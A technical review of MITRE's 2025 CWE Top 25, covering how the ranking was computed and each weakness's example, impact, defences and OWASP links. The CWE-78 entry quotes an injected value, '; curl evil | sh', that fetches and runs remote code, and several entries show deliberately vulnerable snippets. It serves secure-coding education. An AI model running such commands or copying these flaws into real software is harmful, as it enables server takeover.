# 2025 CWE Top 25 Most Dangerous Software Weaknesses
> MITRE's CVE-data ranking of the coding mistakes behind published vulnerabilities; the 2025 edition drops View-1003 normalisation, so precise weaknesses rank on their own.
- Publisher: MITRE / CISA · Edition: 2025 · Released: 2025-12-11 · Status: final
- Items: 25 · Licence of the source: MITRE CWE Terms of Use (copyright MITRE)
- Official page: https://cwe.mitre.org/top25/archive/2025/2025_cwe_top25.html
- Source: https://cwe.mitre.org/top25/archive/2025/2025_cwe_top25.html (read 2026-11-03)
- Previous edition reviewed: [2024 CWE Top 25 Most Dangerous Software Weaknesses](https://llms-technical-reviews.com/security/cwe-top25-2024/index.md)
- Canonical page: https://llms-technical-reviews.com/security/cwe-top25-2025/
## Items at a glance
- **CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')** (previous: CWE-79) — themes: injection, output
- **CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')** (previous: CWE-89, moved up) — themes: injection
- **CWE-352 Cross-Site Request Forgery (CSRF)** (previous: CWE-352, moved up) — themes: access
- **CWE-862 Missing Authorization** (previous: CWE-862, moved up) — themes: access
- **CWE-787 Out-of-bounds Write** (previous: CWE-787, moved down) — themes: output
- **CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')** (previous: CWE-22, moved down) — themes: injection, access
- **CWE-416 Use After Free** (previous: CWE-416, moved up) — themes: output
- **CWE-125 Out-of-bounds Read** (previous: CWE-125, moved down) — themes: data-leak
- **CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')** (previous: CWE-78, moved down) — themes: injection
- **CWE-94 Improper Control of Generation of Code ('Code Injection')** (previous: CWE-94, moved up) — themes: injection, output
- **CWE-120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')** (previous: new, new) — themes: output
- **CWE-434 Unrestricted Upload of File with Dangerous Type** (previous: CWE-434, moved down) — themes: output
- **CWE-476 NULL Pointer Dereference** (previous: CWE-476, moved up) — themes: resource
- **CWE-121 Stack-based Buffer Overflow** (previous: new, new) — themes: output
- **CWE-502 Deserialization of Untrusted Data** (previous: CWE-502, moved up) — themes: injection, output
- **CWE-122 Heap-based Buffer Overflow** (previous: new, new) — themes: output
- **CWE-863 Incorrect Authorization** (previous: CWE-863, moved up) — themes: access
- **CWE-20 Improper Input Validation** (previous: CWE-20, moved down) — themes: injection
- **CWE-284 Improper Access Control** (previous: new, new) — themes: access
- **CWE-200 Exposure of Sensitive Information to an Unauthorized Actor** (previous: CWE-200, moved down) — themes: data-leak
- **CWE-306 Missing Authentication for Critical Function** (previous: CWE-306, moved up) — themes: identity, access
- **CWE-918 Server-Side Request Forgery (SSRF)** (previous: CWE-918, moved down) — themes: access
- **CWE-77 Improper Neutralization of Special Elements used in a Command ('Command Injection')** (previous: CWE-77, moved down) — themes: injection
- **CWE-639 Authorization Bypass Through User-Controlled Key** (previous: new, new) — themes: access
- **CWE-770 Allocation of Resources Without Limits or Throttling** (previous: new, new) — themes: resource

Not carried over from the previous edition: CWE-287 Improper Authentication (fell out of the Top 25 in 2025); CWE-269 Improper Privilege Management (fell out of the Top 25 in 2025); CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer (fell out of the Top 25 in 2025); CWE-798 Use of Hard-coded Credentials (fell out of the Top 25 in 2025); CWE-190 Integer Overflow or Wraparound (fell out of the Top 25 in 2025); CWE-400 Uncontrolled Resource Consumption (fell out of the Top 25 in 2025).
## Review
## What this list is

The CWE Top 25 Most Dangerous Software Weaknesses is published by MITRE, which runs the Common Weakness Enumeration (CWE), with sponsorship from CISA. The 2025 edition is final and current. It replaces the [2024 CWE Top 25](https://llms-technical-reviews.com/security/cwe-top25-2024/).

It is a different kind of list from the OWASP Top 10s. CWE is a catalogue of bug types, and the Top 25 is a ranking of the catalogue entries that were most often the root cause of published vulnerabilities, weighted by severity. Each entry is a precise kind of mistake in code, such as an unchecked buffer copy or a SQL query built from strings, not a broad risk area. Many CWEs therefore roll up into one OWASP category: most of the injection weaknesses here map to [A05:2025 Injection](https://llms-technical-reviews.com/security/owasp-top10-web-2025/#a052025-injection), and most of the authorization ones to [A01:2025 Broken Access Control](https://llms-technical-reviews.com/security/owasp-top10-web-2025/#a012025-broken-access-control). The list covers all software, not only web: seven of the 25 entries are memory-safety bugs, mostly in C and C++ code.

## How it was made

The ranking is computed from CVE data. The 2025 data set was 39,080 CVE Records published between 1 June 2024 and 1 June 2025. MITRE took the CWE mappings that CVE Numbering Authorities (CNAs) and CISA's Vulnrichment programme had attached to those records, and cross-checked them against the NVD's mappings. Data was first pulled in July 2025 and pulled again in November 2025 before the final calculation.

An automated scan then picked records whose mapping looked wrong: either too abstract, or different from what MITRE's keyword matcher suggested. This "Scoped Dataset" had 9,468 records (24%) from 281 CNAs. For the first time, each of them was also run through an LLM tool, built in the CWE Root Cause Mapping Working Group, that suggested more specific CWEs. The CNAs were then asked to review their own batches. 170 of them replied, covering 2,459 records. MITRE also cleaned up the largest CNA's data by dropping parent CWEs where a child was also mapped, and reviewed 738 of the 1,266 records from the MITRE CNA of Last Resort.

The score multiplies two normalised numbers: how often a CWE was mapped (frequency) and the average CVSS v3.0/v3.1 base score of those records (severity), times 100. Records without CVSS v3 data were left out. The "CVEs in KEV" figure, the number of mapped CVEs in CISA's Known Exploited Vulnerabilities catalogue, is shown next to each entry but is not part of the score.

The big change in 2025 is that mappings were used as given. In earlier years every mapping was folded into View-1003, a simplified set of about 130 CWEs, so precise children were counted under their parents. That change explains most of this year's arrivals and departures.

## The items

### CWE-79 Cross-site Scripting

Rank 1, score 60.38, 7 CVEs in KEV. The official name is "Improper Neutralization of Input During Web Page Generation". **What it is:** user-supplied text ends up in a page as live HTML or JavaScript, for example a template that inserts a profile name with no encoding, or a frontend that sets `innerHTML` from a URL parameter. **Shows up as:** stolen sessions and actions taken as the victim. In LLM apps, model output rendered as Markdown or HTML is the new source. **Do:** context-aware output encoding by default, a strict Content Security Policy, sanitise any HTML you must render. Test with payloads in every reflected and stored field. **Related:** [A05:2025 Injection](https://llms-technical-reviews.com/security/owasp-top10-web-2025/#a052025-injection), [LLM10:2026 Improper Output Handling](https://llms-technical-reviews.com/security/owasp-llm-top10-2026/#llm102026-improper-output-handling), [2 DOM-based XSS](https://llms-technical-reviews.com/security/owasp-client-side-top10/#2-dom-based-xss).

### CWE-89 SQL Injection

Rank 2, score 28.72, 4 in KEV. Full name: "Improper Neutralization of Special Elements used in an SQL Command". **What it is:** a query string built by concatenating input, such as `"... WHERE id = " + req.query.id`, so input can change the query's structure. **Shows up as:** data theft, login bypass, sometimes code execution on the database host. Text-to-SQL features in LLM products recreate it when generated SQL runs with broad rights. **Do:** parameterised queries or a safe ORM everywhere, least-privilege database accounts, and read-only, allow-listed views for any LLM-generated query. Test with a scanner plus manual payloads on every parameter. **Related:** [A05:2025 Injection](https://llms-technical-reviews.com/security/owasp-top10-web-2025/#a052025-injection), [DSGAI12 Unsafe Natural-Language Data Gateways (LLM-to-SQL/Graph)](https://llms-technical-reviews.com/security/owasp-genai-data-security-2026/#dsgai12-unsafe-natural-language-data-gateways-llm-to-sqlgraph).

### CWE-352 Cross-Site Request Forgery (CSRF)

Rank 3, score 13.64, 0 in KEV. **What it is:** a state-changing endpoint trusts the browser's cookies alone, so another site can make the victim's browser send the request. For example, a `POST /settings/email` that has no anti-CSRF token and accepts a form submitted from any origin. **Shows up as:** changed emails or passwords, money moved, admin actions done in the victim's name. MITRE notes CSRF is a "compound" entry made of several weaknesses. **Do:** anti-CSRF tokens or a framework's built-in protection, `SameSite` cookies, and an Origin header check on state-changing requests. Test by replaying requests from another origin. **Related:** [A01:2025 Broken Access Control](https://llms-technical-reviews.com/security/owasp-top10-web-2025/#a012025-broken-access-control).

### CWE-862 Missing Authorization

Rank 4, score 13.28, 0 in KEV, the biggest climber (from 9). **What it is:** the code checks who you are but never checks whether you may do this. An admin API route has authentication middleware but no role check, or a background job runs any action the request asks for. **Shows up as:** ordinary users calling admin functions, or agents calling tools on behalf of users who lack the right. **Do:** deny by default, put authorization in one central policy layer, and require an explicit permission on every route and tool. Test by calling each endpoint with a low-privilege account. **Related:** [A01:2025 Broken Access Control](https://llms-technical-reviews.com/security/owasp-top10-web-2025/#a012025-broken-access-control), [API5:2023 Broken Function Level Authorization](https://llms-technical-reviews.com/security/owasp-api-top10-2023/#api52023-broken-function-level-authorization).

### CWE-787 Out-of-bounds Write

Rank 5, score 12.68, 12 in KEV, down from 2. **What it is:** code writes past the end, or before the start, of a buffer. Typical cases are an off-by-one loop or a length taken from the input packet. **Shows up as:** memory corruption leading to crashes or remote code execution in parsers, firmware, browsers and network services. MITRE suggests part of the drop comes from 2025 counting more specific children on their own; three overflow types (CWE-120, CWE-121, CWE-122) are now ranked separately. **Do:** memory-safe languages for new code, bounds-checked APIs, compiler hardening, and fuzzing of every parser. **Related:** no OWASP Top 10:2025 category. OWASP discusses memory bugs outside its ten, as X02:2025 Memory Management Failures.

### CWE-22 Path Traversal

Rank 6, score 8.99, 10 in KEV. Full name: "Improper Limitation of a Pathname to a Restricted Directory". **What it is:** a file path is built from input, such as `open(BASE + request.filename)`, and `../` or an absolute path escapes the intended folder. **Shows up as:** reading config files and keys, or overwriting files to get code execution. It applies to archive extraction too. Agent file tools and MCP file servers are an easy new target. **Do:** map user input to IDs, not paths. Canonicalise the path and check that it stays under the base directory, and run with minimal file-system rights. Test with encoded `../` variants. **Related:** [A01:2025 Broken Access Control](https://llms-technical-reviews.com/security/owasp-top10-web-2025/#a012025-broken-access-control), [ASI02 Tool Misuse and Exploitation](https://llms-technical-reviews.com/security/owasp-agentic-top10-2026/#asi02-tool-misuse-and-exploitation).

### CWE-416 Use After Free

Rank 7, score 8.47, 14 in KEV. **What it is:** C or C++ code keeps using a pointer after the memory it points to has been freed. A common case is an object freed in an error path while a callback still holds it. **Shows up as:** crashes, or an attacker who arranges for new data to occupy the freed memory and takes control of execution. It is common in browsers and kernels. **Do:** memory-safe languages or smart pointers with clear ownership, AddressSanitizer in test builds, and fuzzing. **Related:** no OWASP Top 10:2025 category; see the memory-safety note under CWE-787.

### CWE-125 Out-of-bounds Read

Rank 8, score 7.88, 3 in KEV. **What it is:** code reads past a buffer's end. For example, a parser trusts a length field in the input and copies that many bytes back into a reply. **Shows up as:** leaks of memory contents such as keys, tokens or other users' data, or crashes. **Do:** bounds checks against the real buffer size, never against a length the input claims. Use memory-safe languages and fuzz the parsers. **Related:** no OWASP Top 10:2025 category. In effect it is an information-disclosure bug, so see also [CWE-200 Exposure of Sensitive Information to an Unauthorized Actor](https://llms-technical-reviews.com/security/cwe-top25-2025/#cwe-200-exposure-of-sensitive-information-to-an-unauthorized-actor).

### CWE-78 OS Command Injection

Rank 9, score 7.85, 20 in KEV, the most of any entry. Full name: "Improper Neutralization of Special Elements used in an OS Command". **What it is:** input is placed in a shell command, such as `os.system("ping " + host)`, so `; curl evil | sh` runs too. **Shows up as:** full server takeover, often in network appliances and admin panels. Agents with a shell tool are the newest source. **Do:** call programs with an argument array and no shell, allow-list the arguments, and sandbox any agent shell tool. Test with shell metacharacters in every field that reaches a command. **Related:** [A05:2025 Injection](https://llms-technical-reviews.com/security/owasp-top10-web-2025/#a052025-injection), [MCP05:2025 Command Injection & Execution](https://llms-technical-reviews.com/security/owasp-mcp-top10/#mcp052025-command-injection--execution), [ASI05 Unexpected Code Execution (RCE)](https://llms-technical-reviews.com/security/owasp-agentic-top10-2026/#asi05-unexpected-code-execution-rce).

### CWE-94 Improper Control of Generation of Code ('Code Injection')

Rank 10, score 7.57, 7 in KEV. **What it is:** the program builds code from input and runs it, through `eval`, a template engine fed user templates, or a dynamic import of a user-named module. **Shows up as:** remote code execution inside the application process. In LLM products it is the app that runs model-generated Python or JavaScript, so a prompt injection becomes code injection. **Do:** never evaluate input as code. If you must run generated code, use a locked-down sandbox with no secrets and no network. Test by searching the code for `eval`, `exec` and template rendering of user strings. **Related:** [A05:2025 Injection](https://llms-technical-reviews.com/security/owasp-top10-web-2025/#a052025-injection), [ASI05 Unexpected Code Execution (RCE)](https://llms-technical-reviews.com/security/owasp-agentic-top10-2026/#asi05-unexpected-code-execution-rce), [LLM10:2026 Improper Output Handling](https://llms-technical-reviews.com/security/owasp-llm-top10-2026/#llm102026-improper-output-handling).

### CWE-120 Classic Buffer Overflow

Rank 11, score 6.96, 0 in KEV. New this year. Full name: "Buffer Copy without Checking Size of Input". **What it is:** a copy into a fixed-size buffer with no check of the input's length, as in `strcpy(buf, input)` or `memcpy` with a length taken from the attacker. **Shows up as:** memory corruption and code execution in embedded and network code. It enters the list because 2025 stopped folding it into its parent, [CWE-119 Memory Buffer Errors](https://llms-technical-reviews.com/security/cwe-top25-2024/#cwe-119-memory-buffer-errors), in the 2024 list. **Do:** use length-bounded APIs, compiler fortification and stack protection, and fuzz. **Related:** no OWASP Top 10:2025 category; OWASP names it as an example in X02:2025 Memory Management Failures.

### CWE-434 Unrestricted Upload of File with Dangerous Type

Rank 12, score 6.87, 4 in KEV. **What it is:** an upload feature accepts any file type and stores it where the server will run or serve it, for example a `.php` avatar saved under the web root. **Shows up as:** web shells, stored XSS through SVG or HTML files, and malware served from your domain. **Do:** check type by content, not by extension. Rename files and store them outside the web root or in object storage, serve them from a separate domain with `Content-Disposition`, and scan them. Test by uploading scripts, polyglot files and double extensions. **Related:** [A06:2025 Insecure Design](https://llms-technical-reviews.com/security/owasp-top10-web-2025/#a062025-insecure-design).

### CWE-476 NULL Pointer Dereference

Rank 13, score 6.41, 0 in KEV, up 8 places. **What it is:** code uses a pointer or reference that can be null without checking, such as the result of a failed lookup or allocation. **Shows up as:** mostly crashes, which means denial of service of a daemon, kernel or service. It is occasionally worse in kernel code. **Do:** check every return value that can be null, use non-nullable types where the language has them, and run static analysis and fuzzing. **Related:** [A10:2025 Mishandling of Exceptional Conditions](https://llms-technical-reviews.com/security/owasp-top10-web-2025/#a102025-mishandling-of-exceptional-conditions), which lists this CWE.

### CWE-121 Stack-based Buffer Overflow

Rank 14, score 5.75, 4 in KEV. New this year. **What it is:** a write past a buffer that sits on the stack, such as a local `char name[64]` filled from a request without a length check. That overwrites nearby stack data, including return addresses. **Shows up as:** classic remote code execution in routers, VPNs and other C services. It was counted under parent entries until 2025. **Do:** bounded copies, stack canaries, non-executable stack and ASLR, memory-safe rewrites of exposed parsers, and fuzzing. **Related:** no OWASP Top 10:2025 category. OWASP names it as an example in X02:2025 Memory Management Failures. See also [CWE-119 Memory Buffer Errors](https://llms-technical-reviews.com/security/cwe-top25-2024/#cwe-119-memory-buffer-errors).

### CWE-502 Deserialization of Untrusted Data

Rank 15, score 5.23, 11 in KEV. **What it is:** the application turns attacker-supplied bytes back into objects with a format that can create arbitrary types: Java native serialization, Python `pickle`, unsafe YAML loaders. **Shows up as:** remote code execution in middleware and enterprise apps. In AI stacks, loading a pickled model file from an untrusted hub does the same. **Do:** use data-only formats such as JSON with a schema. Never deserialize untrusted input with native serializers. Use safe model formats and verify model sources. **Related:** [A08:2025 Software or Data Integrity Failures](https://llms-technical-reviews.com/security/owasp-top10-web-2025/#a082025-software-or-data-integrity-failures), [A8:2017 Insecure Deserialization](https://llms-technical-reviews.com/security/owasp-serverless-top10/#a82017-insecure-deserialization), [LLM04:2026 Supply Chain](https://llms-technical-reviews.com/security/owasp-llm-top10-2026/#llm042026-supply-chain).

### CWE-122 Heap-based Buffer Overflow

Rank 16, score 5.21, 6 in KEV. New this year. **What it is:** a write past a buffer on the heap. A typical case allocates from one length field and copies according to another. **Shows up as:** corruption of heap metadata or neighbouring objects, which skilled attackers turn into code execution. It is common in image, font and media parsers. **Do:** check every size calculation (including integer overflow), use hardened allocators and AddressSanitizer in testing, fuzz file parsers, and prefer memory-safe code. **Related:** no OWASP Top 10:2025 category; see X02:2025 Memory Management Failures and [CWE-119 Memory Buffer Errors](https://llms-technical-reviews.com/security/cwe-top25-2024/#cwe-119-memory-buffer-errors).

### CWE-863 Incorrect Authorization

Rank 17, score 4.14, 4 in KEV. **What it is:** there is an authorization check, but it is wrong. It checks the wrong role, trusts a client-supplied flag such as `isAdmin=true`, or checks one resource and acts on another. **Shows up as:** privilege escalation and access to other tenants' data in multi-tenant SaaS. **Do:** keep policy in one tested place, derive identity and role only from the server-side session, and write negative tests for every permission. Test with role-swap and tenant-swap requests. **Related:** [A01:2025 Broken Access Control](https://llms-technical-reviews.com/security/owasp-top10-web-2025/#a012025-broken-access-control), [API3:2023 Broken Object Property Level Authorization](https://llms-technical-reviews.com/security/owasp-api-top10-2023/#api32023-broken-object-property-level-authorization).

### CWE-20 Improper Input Validation

Rank 18, score 4.09, 2 in KEV, down 6. **What it is:** the code accepts input without checking that it has the expected type, range, length or format. Examples are a negative quantity, a 10 MB "name", or a date in the wrong format. It is a broad Class-level entry, and MITRE's mapping guidance prefers more specific ones. MITRE suggests its fall partly reflects children no longer being folded into it. **Shows up as:** the first step of many other bugs on this list. **Do:** validate at every trust boundary against a strict schema (allow-list, not deny-list), and reject rather than repair. Test with boundary values and fuzzing. **Related:** [A05:2025 Injection](https://llms-technical-reviews.com/security/owasp-top10-web-2025/#a052025-injection), [M4 Insufficient Input/Output Validation](https://llms-technical-reviews.com/security/owasp-mobile-top10-2024/#m4-insufficient-inputoutput-validation).

### CWE-284 Improper Access Control

Rank 19, score 4.07, 1 in KEV. New this year. **What it is:** the most abstract entry on the list, a "Pillar" in CWE terms. It covers any failure to restrict who can reach a resource. MITRE discourages it as a root-cause mapping, because a more specific child (CWE-862, CWE-863, CWE-639) usually fits. **Shows up as:** vulnerability reports where the reporter did not say what exactly failed. **Do:** treat it as a pointer to the specific authorization entries above, and fix those. **Related:** [A01:2025 Broken Access Control](https://llms-technical-reviews.com/security/owasp-top10-web-2025/#a012025-broken-access-control), [BLA9:2025 Broken Access Control (BAC)](https://llms-technical-reviews.com/security/owasp-business-logic-abuse-top10/#bla92025-broken-access-control-bac).

### CWE-200 Exposure of Sensitive Information to an Unauthorized Actor

Rank 20, score 4.01, 1 in KEV. **What it is:** data reaches someone who should not see it. Examples are an API that returns the full user object including password hashes, verbose error pages, or debug endpoints left on. **Shows up as:** leaked PII, tokens and internal details that make the next attack easier. In LLM apps, the model repeats data from its context to the wrong user. **Do:** use explicit response schemas (no "return the whole row"), generic error messages, a data classification, and checks that responses match the caller's rights. **Related:** [A01:2025 Broken Access Control](https://llms-technical-reviews.com/security/owasp-top10-web-2025/#a012025-broken-access-control), [API3:2023 Broken Object Property Level Authorization](https://llms-technical-reviews.com/security/owasp-api-top10-2023/#api32023-broken-object-property-level-authorization), [LLM02:2026 Sensitive Information Disclosure](https://llms-technical-reviews.com/security/owasp-llm-top10-2026/#llm022026-sensitive-information-disclosure).

### CWE-306 Missing Authentication for Critical Function

Rank 21, score 3.47, 11 in KEV. Few CVEs, but many of them are exploited. **What it is:** an important function needs no login at all, for example an admin or management API on an appliance, a debug port, or an internal service exposed by mistake. **Shows up as:** direct takeover of devices and management planes. Unauthenticated MCP servers and agent tool endpoints are the same bug. **Do:** authenticate every endpoint by default, with explicit and reviewed exceptions. Bind management interfaces to private networks. Test by calling each route with no credentials. **Related:** [A07:2025 Authentication Failures](https://llms-technical-reviews.com/security/owasp-top10-web-2025/#a072025-authentication-failures), [API2:2023 Broken Authentication](https://llms-technical-reviews.com/security/owasp-api-top10-2023/#api22023-broken-authentication), [MCP07:2025 Insufficient Authentication & Authorization](https://llms-technical-reviews.com/security/owasp-mcp-top10/#mcp072025-insufficient-authentication--authorization).

### CWE-918 Server-Side Request Forgery (SSRF)

Rank 22, score 3.36, 0 in KEV. **What it is:** the server fetches a URL that the user controls, such as a webhook URL, an image import or a "fetch this page" feature, without restricting where it may go. **Shows up as:** requests to cloud metadata endpoints for credentials, or to internal admin services. LLM browsing and retrieval tools are a large new source. **Do:** route fetches through an egress proxy with an allow-list. Block private, link-local and metadata ranges after DNS resolution, and disable redirects. Test with internal IPs, DNS rebinding and redirect chains. **Related:** [A01:2025 Broken Access Control](https://llms-technical-reviews.com/security/owasp-top10-web-2025/#a012025-broken-access-control), [API7:2023 Server Side Request Forgery](https://llms-technical-reviews.com/security/owasp-api-top10-2023/#api72023-server-side-request-forgery).

### CWE-77 Command Injection

Rank 23, score 3.15, 2 in KEV, down 10. Full name: "Improper Neutralization of Special Elements used in a Command". **What it is:** the parent of CWE-78. Input changes the meaning of any command passed to another interpreter, not only the OS shell: a mail command, a CLI tool, or a query language. MITRE suggests the steep fall partly reflects children no longer being counted under it. **Do:** the same as CWE-78. Pass structured arguments, not strings, and allow-list. **Related:** [A05:2025 Injection](https://llms-technical-reviews.com/security/owasp-top10-web-2025/#a052025-injection), [MCP05:2025 Command Injection & Execution](https://llms-technical-reviews.com/security/owasp-mcp-top10/#mcp052025-command-injection--execution).

### CWE-639 Authorization Bypass Through User-Controlled Key

Rank 24, score 2.62, 0 in KEV. It enters the list from 30th place in 2024. **What it is:** the classic IDOR (insecure direct object reference). The server loads `/invoices/1043` because you asked for it, and never checks that invoice 1043 is yours. **Shows up as:** reading or editing other users' or tenants' records by changing an ID. The API Top 10 ranks this pattern first. **Do:** scope every query by the caller's tenant and user, for example `WHERE id = ? AND tenant_id = ?`. Use random IDs only as defence in depth. Test with two accounts, swapping IDs. **Related:** [A01:2025 Broken Access Control](https://llms-technical-reviews.com/security/owasp-top10-web-2025/#a012025-broken-access-control), [API1:2023 Broken Object Level Authorization](https://llms-technical-reviews.com/security/owasp-api-top10-2023/#api12023-broken-object-level-authorization).

### CWE-770 Allocation of Resources Without Limits or Throttling

Rank 25, score 2.54, 0 in KEV. It enters the list from 26th place. **What it is:** the code allocates memory, threads, connections, files or paid API calls in proportion to the request, with no cap. Examples are a page size taken from the query string, or an upload with no size limit. **Shows up as:** denial of service and runaway cloud or LLM token bills. **Do:** set limits on size, count, rate and time per user and per tenant, with quotas and budgets on model calls. Test with oversized and repeated requests. **Related:** [API4:2023 Unrestricted Resource Consumption](https://llms-technical-reviews.com/security/owasp-api-top10-2023/#api42023-unrestricted-resource-consumption), [LLM06:2026 Unbounded Consumption](https://llms-technical-reviews.com/security/owasp-llm-top10-2026/#llm062026-unbounded-consumption). The web Top 10:2025 does not list it.

## What changed

Six weaknesses entered the list and six left it. Three of the arrivals are specific buffer overflows: [CWE-120 Classic Buffer Overflow](https://llms-technical-reviews.com/security/cwe-top25-2025/#cwe-120-classic-buffer-overflow), [CWE-121 Stack-based Buffer Overflow](https://llms-technical-reviews.com/security/cwe-top25-2025/#cwe-121-stack-based-buffer-overflow) and [CWE-122 Heap-based Buffer Overflow](https://llms-technical-reviews.com/security/cwe-top25-2025/#cwe-122-heap-based-buffer-overflow). The fourth, CWE-284, also had no earlier rank. MITRE says these four were not ranked before because of the way earlier calculations folded mappings into View-1003. The other two arrivals were just below the line in 2024: CWE-639 rose from 30 and CWE-770 from 26. The six that left are CWE-269, CWE-190, CWE-287, CWE-400, CWE-798 and CWE-119. They all now sit between 29 and 39. MITRE links most of these drops to the same methodology change, since their more specific children now count on their own. The biggest climbers were CWE-862 (9 to 4) and CWE-476 (21 to 13). The biggest fallers were CWE-77 (13 to 23) and CWE-20 (12 to 18).

## What it misses

- **It ranks what gets reported, not what is in your code.** The input is CVE records, so it reflects products that receive CVEs, and the mapping habits of the CNAs that publish them. MITRE itself notes that high-volume CNAs may map differently and that it did not evaluate this per CNA.
- **Year-on-year moves are partly artefacts.** The 2025 method change alone moved several entries in or out. Do not read "CWE-287 fell out" as "authentication got better".
- **The score ignores exploitation.** CWE-120 ranks 11th with no CVEs in KEV. CWE-306 ranks 21st with 11. If you prioritise by real-world attacks, read the KEV column, or MITRE's separate KEV-based list.
- **Overlap between levels.** CWE-77 and CWE-78, CWE-787 and the three overflow entries, and CWE-284 and its more specific descendants (862, 863, 639) sit in the same families of parent and child entries. One bug can count more than once.
- **Small inconsistencies in the source.** The key-insights page calls the rise in CNA-supplied mappings from 53% to 67% an increase of "14%", which is 14 percentage points. The methodology page describes frequency as counted "within the NVD", although the mappings came mostly from CNAs on CVE.org.
- **Nothing specific to AI.** Prompt injection, model supply chain and agent tool misuse appear only through older CWEs such as code injection or deserialization.

## Our take

Use the CWE Top 25 to choose which bug classes your secure-coding training, code review checklists and static analysis rules must cover. It is the best data-driven view of which coding mistakes turn into published vulnerabilities, and its 2025 method, with CNA review and no normalisation, is documented in detail. It is not a risk register for a SaaS product. It has no business logic, no design flaws and nothing on cloud configuration, and seven of its 25 entries are memory-safety bugs. Pair it with the OWASP Top 10:2025 for web applications, the API Top 10 for services, and the LLM Top 10 for anything with a model in the loop. Treat the rank changes between 2024 and 2025 with care, because the method changed.
Attribution: item codes and names are from "2025 CWE Top 25 Most Dangerous Software Weaknesses" by MITRE / CISA (MITRE CWE Terms of Use (copyright MITRE)). The review text is ours.